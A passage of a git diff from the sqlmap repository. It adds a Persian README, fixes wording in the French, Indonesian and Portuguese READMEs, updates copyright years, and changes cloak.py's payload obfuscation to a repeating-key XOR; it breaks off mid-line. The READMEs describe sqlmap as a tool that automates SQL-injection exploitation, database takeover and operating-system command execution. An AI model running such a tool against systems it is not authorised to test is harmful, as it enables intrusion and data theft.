+برای دیدن کردن از [مجموعهی از اسکریپتها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) میتوانید از ویکی دیدن کنید.
+
+
+نصب
+----
+
+برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
+
+
+طرز استفاده
+----
+
+
+برای گرفتن لیست ارگومانهای اساسی میتوانید از دستور زیر استفاده کنید:
+
+
+
+
+
+
+```
+ python sqlmap.py -h
+```
+
+
+
+
+
+
+
+برای گرفتن لیست تمامی ارگومانهای میتوانید از دستور زیر استفاده کنید:
+
+
+
+
+```
+ python sqlmap.py -hh
+```
+
+
+
+
+
+برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) میتوانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه میشود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
+
+
+لینکها
+----
+
+
+* خانه: http://sqlmap.org
+* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
+* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
+* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* تویتر: [@sqlmap](https://twitter.com/sqlmap)
+* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* عکسها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md
index 83c4884b6d2..8c87faf5464 100644
--- a/doc/translations/README-fr-FR.md
+++ b/doc/translations/README-fr-FR.md
@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
python sqlmap.py -hh
-Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
+Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Liens
diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md
index c6adca685fb..bd2ffd0926c 100644
--- a/doc/translations/README-id-ID.md
+++ b/doc/translations/README-id-ID.md
@@ -2,7 +2,7 @@
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
-sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
+sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
Tangkapan Layar
----
@@ -43,7 +43,7 @@ Tautan
* Situs: http://sqlmap.org
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md
index 71f755d1d95..a2af1e3eb57 100644
--- a/doc/translations/README-pt-BR.md
+++ b/doc/translations/README-pt-BR.md
@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
Instalação
----
-Você pode baixar o arquivo tar mais recente clicando [aqui]
-(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
+Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
diff --git a/extra/__init__.py b/extra/__init__.py
index a1e6b478904..f5f6aa0e910 100644
--- a/extra/__init__.py
+++ b/extra/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py
index a1e6b478904..f5f6aa0e910 100644
--- a/extra/beep/__init__.py
+++ b/extra/beep/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/beep/beep.py b/extra/beep/beep.py
index 7a866bff0d6..7eed25585b1 100644
--- a/extra/beep/beep.py
+++ b/extra/beep/beep.py
@@ -3,7 +3,7 @@
"""
beep.py - Make a beep sound
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py
index a1e6b478904..f5f6aa0e910 100644
--- a/extra/cloak/__init__.py
+++ b/extra/cloak/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py
index 860f4fde350..ab20d39b29f 100644
--- a/extra/cloak/cloak.py
+++ b/extra/cloak/cloak.py
@@ -3,7 +3,7 @@
"""
cloak.py - Simple file encryption/compression utility
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -19,28 +19,26 @@
if sys.version_info >= (3, 0):
xrange = range
+ ord = lambda _: _
-def hideAscii(data):
- retVal = b""
- for i in xrange(len(data)):
- value = data[i] if isinstance(data[i], int) else ord(data[i])
- retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
+KEY = b"cwRAopWDYixMeqs3"
- return retVal
+def xor(message, key):
+ return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
def cloak(inputFile=None, data=None):
if data is None:
with open(inputFile, "rb") as f:
data = f.read()
- return hideAscii(zlib.compress(data))
+ return xor(zlib.compress(data), KEY)
def decloak(inputFile=None, data=None):
if data is None:
with open(inputFile, "rb") as f:
data = f.read()
try:
- data = zlib.decompress(hideAscii(data))
+ data = zlib.decompress(xor(data, KEY))
except Exception as ex:
print(ex)
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
def main():
usage = '%s [-d] -i [-o